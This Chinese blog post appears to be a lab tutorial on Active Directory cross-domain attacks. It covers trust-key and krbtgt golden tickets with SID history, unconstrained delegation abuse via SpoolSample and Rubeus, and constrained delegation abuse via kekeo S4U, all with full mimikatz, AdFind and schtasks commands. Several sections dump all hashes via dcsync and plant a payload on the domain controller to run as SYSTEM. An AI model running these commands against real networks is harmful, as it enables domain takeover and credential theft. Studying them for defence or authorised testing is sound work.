内网-跨域攻击

跨域攻击

1.跨域攻击介绍

内网中的域林

很多大型企业都拥有自己的内网,一般通过域林进行共享资源。根据不同职能区分的部门,从逻辑上以 主域和子域进行区分,以方便统一管理。在物理层,通常使用防火墙将各个子公司及各个部门划分为不 同的区域。

image-20231025205850053

跨域攻击方法

1、常规渗透方法(利用web漏洞)

2、哈希传递票据攻击

3、利用域信任关系

image-20231025210016134

域信任关系

建立域之间的信任关系,是为了一个域的用户能方便地访问其他域的资源,同时也方便了对域网络的管 理和维护,域信任作为域中的一种机制,允许另一个域的用户在通过身份验证后访问本域中的资源。同 时,域信任利用DNS服务器定位两个不同子域的域控制器,如果两个域中的域控制器都无法找到另一个 域,也就不存在通过域信任关系进行跨域资源共享了

域信任关系分类

域信任关系分为单向信任和双向信任

单向信任:是指在两个域之间创建单向的信任路径,即在一个方向上是信任流,在另一个方向上是访问 流,受信任域内的用户(或者计算机)可以访问信任域内的资源,但信任域内的用户无法访问受信任域 内的资源。也就是说,A域信任B域,那么B域内受信任的主体可以访问A域内信任B域的资源。

双向信任:是指两个单向信任的组合,信任域和受信任域彼此信任,在两个方向上都有信任流和访问 流。这意味着,可以从两个方向在两个域之间传递身份验证请求。活动目录中的所有信任关系都是双向 可传递的。在创建子域时,会在新的父域和子域之间自动创建双向可传递信任关系,从下级域发出的身 份验证请求可以通关其父域向上流向信任域

域信任关系也可以分为内部信任和外部信任

内部信任:在默认情况下,用活动目录安装向导将新域添加到域树或林根域中,会自动创建双向可传递信 任。在现有林中创建域树时,将建立新的树根信任,当前域树中的两个或多个域之间的信任关系被称为 内部信任。这种信任关系是可传递的。例如,有三个子域BA,CA,DA,BA域信任CA域,CA域信任DA域, 则BA域也信任DA域

外部信任是指两个不同林中的域的信任关系。外部信任是不可传递的,而且是单向的。

只有domain admins组中的用户可以管理域信任关系

image-20231025210443394

2.搭建和查看域信任关系

搭建域树(内部信任)

如果是复制的虚拟机请运行 C:\Windows\System32\sysprep\sysprep.exe 重新获取SID

1、修改计算机名和修改IP地址,DNS指向父域

image-20231026094725086

image-20231026094835010

2、安装 AD域服务

除了这里全都下一步 最后安装

image-20231026095136670

3、升级为域控

image-20231026095455432

4、添加到现有林 点击更改提供父域的账号密码

image-20231026095639902

5、正常安装直到结束

image-20231026095922864

6.pc-2008-2(10.210.100.144)加入子域

image-20231026102839696

image-20231026103215208

搭建域森林(外部信任)(未搭建)

1、修改计算机名和修改IP地址,DNS指向根域

image-20231026103430931

2、安装 AD域服务

image-20231026103438997

3、升级为域控

image-20231026103445557

4、添加到现有林

image-20231026103455152

5、正常安装即可

获取域信息

在域中,Enterprise Admins组(出现在林中的根域中)的成员具有对目录林中所有域的完全控制权限。在默认情况下,该组包含林中所有域控制器上具有Administrators权限的成员

查看当前域中计算机的权限

1
whoami /all

使用lg工具获取域的相关信息

查看域信任关系

1
nltest /domain_trusts

image-20231026104233107

获取当前域中的用户组

1
LG.exe 域名\.

image-20231026105125823

image-20231026105148997

获取远程机器的本地用户组

1
2
LG.exe \\计算机名 -lu
LG.exe \\DC -lu

image-20231026105326339

image-20231026105529361

获取远程系统中的用户SID

1
LG.exe \\计算机名 -lu -sidsout

image-20231026105708237

3.利用域信任密钥获取目标域

实验环境

IP 所属域 域中地位 机器名 当前登录用户
10.210.100.10 hack.com 根域的域控 DC hack\administrator
10.210.100.150 abc.hack.com 子域域控 DC2 abc\administrator
10.210.100.144 abc.hack.com 子域中的机器 PC-2008-2 abc\liwei

当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

image-20231026110944699

实验步骤

1.发现有根域

image-20231026111429382

2.当前无法访问DC.HACK.COM

1
dir \\dc.hack.com\c$

image-20231026111503517

3.使用mimikatz获取 当前域的 SID, 父域的 SID ,子域域管的NTLM ,信任密钥

1
mimikatz.exe "privilege::debug" "lsadump::lsa /patch /user:HACK$" "lsadump::trust /patch" exit

image-20231026111829628

image-20231026111902847

子域sid:S-1-5-21-3991110149-857536787-685120577

父域sid:S-1-5-21-2431442348-1717482385-2017137259

信任密钥:8c5948ade6a77b4276a8710327ce83f3

4.在普通的域内用户中创建创建高权限票据

1
2
3
4
mimikatz.exe "kerberos::golden /domain:子域 /sid:子域SID /sids:父域sid-519 /rc4:信任密钥 /user:任意用户 /service:krbtgt /target:父域 /ticket:subdc_administrator.kirbi" exit
eg:kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-3991110149-857536787-685120577 /sids:S-1-5-21-2431442348-1717482385-2017137259-519 /rc4:8c5948ade6a77b4276a8710327ce83f3 /user:administrator /service:krbtgt /target:hack.com /ticket:administrator.kirbi

mimikatz.exe "kerberos::golden /domain:abc.hack.com /sid:S-1-5-21-2902250016-280749999-3752131090 /sids:S-1-5-21-2716900768-72748719-3475352185-519 /rc4:4101a9a4410052f42a70990e5371a5b9 /user:administrator /service:krbtgt /target:hack.com /ticket:administrator.kirbi" exit

image-20231026113125073

image-20231026113203073

5.上传asktgs.exe和kirbikator.exe工具,asktgs.exe伪造票据,kirbikator.exe注入票据

image-20231026113720225

6.创建CIFS服务的票据进行复制文件的操作

1
shell asktgs.exe administrator.kirbi CIFS/DC.hack.com

image-20231026113818554

image-20231026113825582

7.将票据注入内存

1
shell kirbikator.exe lsa CIFS.DC.hack.com.kirbi

image-20231026113911603

8.访问域控

1
shell dir \\dc.hack.com\c$

image-20231026113932373

9.复制恶意文件,如果复制失败,请注入host服务票据。

1
shell copy artifact.exe \\dc.hack.com\c$

image-20231026114021660

10.伪造host服务,进行创建计划任务

1
shell asktgs.exe administrator.kirbi host/DC.hack.com

image-20231026114044469

11.注入内存

1
shell kirbikator.exe lsa host.DC.hack.com.kirbi

image-20231026114118756

12.重新复制

image-20231026114218620

13.创建计划任务(需要重新注入host票据)

1
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru system /f

image-20231026114459649

14.执行计划任务

1
schtasks /run /s dc.hack.com /i /tn "test"

image-20231026114535439

  1. dc上线:

image-20231026114559758

4.利用krbtgt值获取目标域

实验环境

IP 所属域 域中地位 机器名 当前登录用户
10.210.100.10 hack.com 根域的域控 DC hack\administrator
10.210.100.150 abc.hack.com 子域域控 DC2 abc\administrator
10.210.100.144 abc.hack.com 子域中的机器 PC-2008-2 abc\liwei

当前已经控制abc.hack.com域,其中包括 DC2机器和PC-2008-2机器

实验步骤

清除票据

1
2
shell klist purge
mimikatz kerberos::purge

获取Krbtgt散列

1
lsadump::lsa /patch /user:krbtgt

image-20231026142607004

66664f8ca84afb2d6fa9947469140fc7

获取关键信息

1
lsadump::trust /patch

image-20231026142645127

子域sid:S-1-5-21-3991110149-857536787-685120577

父域sid:S-1-5-21-2431442348-1717482385-2017137259

构造并注入黄金票据

1
2
Kerberos::golden /user:administrator /domain:当前域名 /sid:当前SID /sids:目标域SID-519 /krbtgt:krbtgt散列 /ptt
Kerberos::golden /user:administrator /domain:abc.hack.com /sid:S-1-5-21-3991110149-857536787-685120577 /sids:S-1-5-21-2431442348-1717482385-2017137259-519 /krbtgt:66664f8ca84afb2d6fa9947469140fc7 /ptt

image-20231026143120911

访问目标域

1
dir \\dc.hack.com\c$

image-20231026143132818

复制恶意文件

1
copy 1.exe \\dc.hack.com\c$

执行计划任务

1
schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\1.exe /ru system /f

启动计划任务

1
schtasks /run /s dc.hack.com /i /tn "test"

上线

5.委派攻击的概述

委派是什么

先看一下kerberos协议

image-20231026143603868

我们要去买票,但是自己又不想去,我们就可以委托中间商,给我们买票,这个就是委派

image-20231026143634354

域委派是指将域内用户的权限委派给服务账户,使得服务账号能够以用户的权限在域内展开活动。

委派是域中的一种安全设置,可以允许某个机器上的服务代表某个用户去执行某个操作,主要分为三种:

1、非约束性委派:不做任何限制,可以访问任何资源 例如 文件系统 oa系统 域控等

2、约束性委派:限制访问某些指定的资源

3、基于资源的约束性委派

委派攻击的工作场景

一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派

image-20231026144321857

怎么设置委派

在域内只有主机账号(整个主机)和服务账号(例如主机上的web服务)才有委派属性

主机账号:活动目录中的computers组内的计算机,也被称为机器账号

image-20231026145058584

服务账号:域内用户的一种类型,是服务器运行服务时所用的账号,将服务运行起来加入域内,比如:SQLServer,MYSQL等;域用户通过注册SPN也能成为服务账号。

1
2
net user test123 Admin@123 /add /domain 创建一个普通用户
setspn -U -A priv/test test123 注册为服务账号

image-20231026145731798

开启委派如图

image-20231026145744792

6.非约束委派攻击

非约束委派使用场景

从使用的角度:用户张三访问一台机器A,于是向KDC发起认证,KDC会检查A的机器账号的属性,如果是非约束委派的话,会把用户的TGT放在ST票据中并一起发送给A,这样A在验证ST票据的同时也获取到了用户的TGT,并把TGT储存在自己的lsass进程中以备下次重用,从而A就可以使用这个TGT,来模拟这个张三访问任何服务。

image-20231026150551796

从攻击角度来说:如果攻击者拿到了一台配置了非约束委派的机器权限,可以诱导管理员来访问该机器,然后可以得到管理员的TGT,从而模拟管理员访问任意服务,相当于拿下了整个域环境,或者结合打印机漏洞让域管用户强制回连以缓存TGT

一个域内用户访问WEB服务,但是一些资源在文件服务上,这个时候就需要委派,需要web系统代表用户A去访问文件服务的资源

image-20231026150752355

非约束委派的漏洞

image-20231026151227151

如果是域管访问web系统,我们就可以通过web系统伪造域管的身份登录域控

利用非约束委派域控主动访问控制域

实验环境

机器位置 IP 机器名 机器登录用户 所属域 委派配置
域控 10.210.100.10 DC hack\administrator hack.com 域控
域内机器 10.210.100.40 PC-WEB hack\r1cky hack.com 配置了非约束委派

实验前提:控制了域内的一台机器pc-web,并且该机器的服务账号配置了非约束委派,如下:

image-20231026154603409

1、使用Adfind查询域内非约束委派机器账号

1
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName

image-20231026154958716

查询具有委派的服务账号

1
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" -dn

2、我们先去访问域控,是不能访问的

1
dir \\dc.hack.com\c$

3、这个时候如果域管访问了pc-web机器我们的内存中就会有域管的TGT,就可以访问任意机器了,在与域控上执行访问PC-WEB(在域控上执行)

1
net use \\PC-WEB.HACK.COM /user:hack\administrator Admin@123

image-20231026155119975

4、去pc-web导出内存中的票据

1
sekurlsa::tickets /export

image-20231026155241351

导出失败 需要提权

image-20231026155300222

image-20231026155537670

5、进行票据传递就可以获取域控的权限了

1
mimikatz kerberos::ptt [0;9c453]-2-0-60a10000-Administrator@krbtgt-HACK.COM.kirbi

image-20231026155706178

6、访问域控

image-20231026155724917

7、使用计划任务,服务,或者无文件的powershell上线

1
2
3
4
shell copy artifact.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\artifact.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"

image-20231026155917312

利用非约束委派域控被动访问控制域控

机器位置 IP 机器名 机器登录用户 所属域 委派配置
域控 10.210.100.10 DC hack\administrator hack.com 域控
域内机器 10.210.100.40 2012-2(OA) administrator hack.com 配置了非约束委派

实验前提:控制了域内的一台机器OA,并且该机器的服务账号配置了非约束委派,如下:

一般域管不会主动访问我们,我们可以利用 Windows 打印系统远程协议(MS-RPRN)中的一种旧的但是默认启用的方法,在该方法中,域用户可以使用 MS-RPRN RpcRemoteFindFirstPrinterChangeNotification(Ex) 方法强制任何运行了 Spooler 服务的计算机以通过 Kerberos 或 NTLM 对攻击者选择的目标进行身份验证。

非约束性委派主机结合 Spooler 打印机服务漏洞,让域控机器DC强制访问已控的具有本地管理员权限的非约束性委派机器 OA ,从而拿到域管理员的 TGT,进而接管域控。(2008机器可能复现不了,因为版本的问题)

进行实验之前一定要把所有的防火墙关闭

1、首先利用Rubeus在 OA 上以本地管理员权限执行以下命令,每隔一秒监听来自域控机器DC的登录信息

1
Rubeus.exe monitor /interval:1 /filteruser:DC$

这里执行失败(下面为他人成功示例)

image-20231026162055410

image-20231026162115838

再利用SpoolSample强制域控打印机回连,需在域用户进程上执行,所以这里切换成了普通域用户帐号去执行

1
SpoolSample.exe DC OA

image-20231026162234292

Rubeus监听到票据

image-20231026162243719

Rubeus导入票据

1
Rubeus.exe ptt /ticket:票据

image-20231026162307198

获取域内用户的hash

1
lsadump::dcsync /all /csv

image-20231026162327496

如果当前的用户是管理员就可以使用PTH攻击,如果是普通的域用户就使用黄金票据

image-20231026162338329

使用计划任务,服务,或者无文件的powershell上线

1
2
3
4
copy 123.exe \\dc.hack.com\C$
shell schtasks /create /s dc.hack.com /tn test /sc onstart /tr c:\123.exe /ru
system /f
shell schtasks /run /s dc.hack.com /i /tn "test"

7.约束性委派攻击

约束性委派场景

当这个用户不在域内,他在出差,不能使用kerberos去认证,只能使用其他协议认证web系统,那同样WEB系统也需要访问文件服务的资源,这个时候如何认证呢?

image-20231026165118008

Widnows Server2003之后微软引入了非约束委派。由于非约束委派的不安全性或者场景受限(配置了非约束委派的机器在 LSASS 中缓存了用户的TGT票据可模拟用户去访问域中任意服务),微软于2007年为 Kerberos 协议进行扩展引入S4U(service for user)协议,该协议分为两个子协议

这两个扩展都允许服务代表用户从KDC请求票证。

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

1、S4u2self(Service for User to Self)

2、S4U2proxy(Service for User to Proxy)

这两个扩展都允许服务代表用户从KDC请求票证

约束委派限制了S4U2proxy协议的请求范围,使得配置了委派属性的服务只能模拟用户身份访问特定的其他服务

image-20231026165502523

存在的问题

1、服务账号B可以代表A申请访问B的票据,那么可不可以代表域管申请域管访问B的票据呢?在这个过程中,不需要域管参与,服务B自身就可以完成

2、服务账号B可以代表A申请访问C的票据,那么可不可以代表域管申请域管访问C的票据呢?在这个过程中,不需要域管参与,服务B自身就可以完成

约束性委派攻击流程

用户(A)访问WEB系统(B),B代表A去向KDC申请访问B的TGT和ST1(使用S4u2self),用户A拿到了ST1就可以访问B了,如果在B上配置了约束性委派(A到C的约束委派),则B能够使用S4U2Proxy协议将用 户发给自己的可转发的ST1票据以用户的身份发给KDC,KDC返回B一个访问C的票据ST2,这样B就可以以用户的身份访问C

image-20231026173140970

1
2
3
4
5
6
7
1.通过NTLM或者其他认证
2.B代表A申请A访问B的票据(TGT和ST1)
3.KDC返回用户的TGT和ST1票据给B
4.B把ST1票据给A
5.A用ST1去访问B
6.B拿着A的ST1作为证据,去申请访问C的ST2
7.B用ST2票据访问C

存在的问题是什么呢?

B会获取A的TGT,只要能伪造A的TGT,就可以用TGT申请ST1票据(伪造管理员申请ST1票据)

实验场景

image-20231026173807878

实验前提:我们已经控制了ZS的电脑,发现该电脑配置了约束性的委派,并且可以读取到该电脑的机器用户的HASH值

1、查询约束性委派的机器和用户

1
2
3
4
查询约束委派机器账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派服务账户
AdFind.exe -b "DC=hack,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto

image-20231026173852063

查询到PC-ZS电脑配置了约束委派,委派的目标是DC的CIFS服务

2、使用mimikatz获取机器账户NTLM Hash

1
mimikatz sekurlsa::logonpasswords

image-20231026173915464

3、使用kekeo申请配置了约束委派机器账户PC-ZS$的TGT

1
kekeo "tgt::ask /user:PC-ZS$ /NTLM:bd41aace231471169d848817a2c46178 /domain:hack.com" "exit"

image-20231026173937509

利用TGT通过伪造S4U请求以administrator身份访问PC-ZS的ST

1
kekeo "tgs::s4u /tgt:TGT_PC-ZS$@HACK.COM_krbtgt~hack.com@HACK.COM.kirbi /user:Administrator@hack.com /service:cifs/dc.hack.com" "exit"

image-20231026174002747

mimkatz注入

1
2
mimikatz kerberos::ptt
TGS_Administrator@hack.com@HACK.COM_cifs~dc.hack.com@HACK.COM.kirbi

image-20231026174025033

访问域控

image-20231026174037119


内网-跨域攻击
http://example.com/2023/11/03/内网-跨域攻击/
作者
r1
发布于
2023年11月3日
许可协议